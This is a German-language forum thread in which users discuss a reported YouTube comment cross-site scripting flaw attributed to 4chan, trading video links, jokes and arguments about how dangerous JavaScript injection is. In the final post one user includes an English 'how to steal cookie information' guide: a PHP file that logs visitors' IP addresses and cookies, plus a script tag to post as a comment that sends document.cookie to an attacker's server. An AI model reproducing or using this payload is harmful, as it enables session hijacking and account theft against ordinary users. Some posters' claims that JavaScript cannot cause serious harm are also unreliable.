Warnung vor youtube exploit!

[BudFudlecker]

Achtung, es gibt im Moment eine riesige Sicherheitslücke bei Youtube. Angreifern ist es möglich, so gut wie jeden Code durch posten des selbigen in der Kommentarfunktion auszuführen! Über Popups, bis zu Seitenumleitungen auf infizierte Webseiten ist alles möglich. Sobald man ein Video anklickt, in dessen Kommentarfunktion ein solcher Code gepasted wurde ist es schon zu spät!

"Proof of concept" gibt es bei 4kanal. Ich würde euch raten, Youtube für die nächste Stunden komplett zu meiden.

[Instinctlol]

Link?

[infernalshade]

Quelle?! Selber find ich dazu nix..

[Instinctlol]

Hab gerade das hier gefunden.

[mathmos]

http://www.google.com/support/forum/...44b81c60&hl=en

Und mit 4Kanal meint er vermutlich 4chan. Von da werde ich aber sicherlich nichts raussuchen.

[diskopumper]

Also ist das Bullshit. Bin grad auf YouTube und mir ist noch nichts passiert

[BudFudlecker]

Das ist kein Bullshit.

Hier ist zB. mal ein Video mit einer vermutlich harmlosen Version des Exploits.

watch?v=g8TK9qwOdFM

[Motiva]

http://www.youtube.com/watch?v=vgbvKlGTwPg

[Gueri1la]

Ne 4chan Aktion?
Soso, da muss ja was dran sein
Kanns jemand bestätigen oder verneinen?
Klingt ja sehr an den Haaren herbeigezogen.

[Motiva]

Klicken sie halt mal die Links, Herr Doktor.

[Bafanabafana]

genial, vor allem das popup script
http://www.youtube.com/watch?v=i1zuN17t51A

[kaffeeundkippen]

Wie geil

[SexCrispie]

Man muss 4Chan für so eine Sch**** einfach lieben!

[Indie03]

Oh man wer hat die 4chan Kinder wieder Freilauf gegeben?

Aber das mit Justin Bieber war schon lustig.

[mathmos]

Also ist das Bullshit. Bin grad auf YouTube und mir ist noch nichts passiert

Als Bullshit würde ich das nicht bezeichnen, nur weil bisher nur harmlose Sachen damit angestellt wurden. Überbewerten würde ich es aber auch nicht.

[Yig]

Es wird bei keinem Video Schadcode ausgeführt. Nur harmlose Pop-Ups, Alerts und Lauftext mit (witzigen) Nachrichten.

BTW:

http://img154.imagevenue.com/loc425/..._122_425lo.JPG

[infernalshade]

Leute, die keine Internet Security benutzen haben es verdient auf ne Schadseite oder sonst was weitergeleitet zu werden

Solang man Kaspersky oder irgendwas im Einsatz hat kannst du da mit Javascript nicht wirklich schlimme Sachen anstellen - der Firefox macht das ganze noch sicherer..

[KcDaRookie]

@Yig: Nur, dass man mit Javascript ne ganze Menge machen kann.. zB ne Fake anmeldeseite und dann die Anmeldedaten per Formular abgreifen... und es gibt genug die die selben anmeldedaten für jede seite benutzen...

Es gibt auch nen vid wo das original mit nem Porno überlagert wurde ^^

[infernalshade]

Javascript ist zwar Client-basierend aber schlimme Sachen kannst du da nicht anstellen (weils aus der Browsern-Engine nicht raus darf, also nur harmlose Sachen wie Auflösung auslesen oder so), das wär nur mit der ActiveX-Schnittstelle im IE oder per Java möglich...

Und Fake-Seiten...Ja wer so dumm ist, ist selber schuld..

[Bafanabafana]

Der Tag wird in die Geschichte eingehen!

Viren,Kinderpornos und alles mögliche sind auf youtube.
Ich habe Codes gesehen, die IP und Cookies auf einem externen Server speichern! Lieber youtube lassen!

Spoiler: 

How to steal cookie information:

1. Get a webspace with PHP and upload this file (for example as "index.php"):
<?php
file_put_contents($_SERVER['REMOTE_ADDR'].'.txt', urldecode($_GET['c']));
?>
Make sure the containing folder has CHMOD 777

2. Post this code on youtube, maybe you have to obfuscate the url to the .php file:
<script>document.write('<img src="http://PATH_TO_YOUR_SERVER/index.php?c='+ document.cookie +'">');</script>

This will create .txt files with the IP address and cookie information

no youtube for me today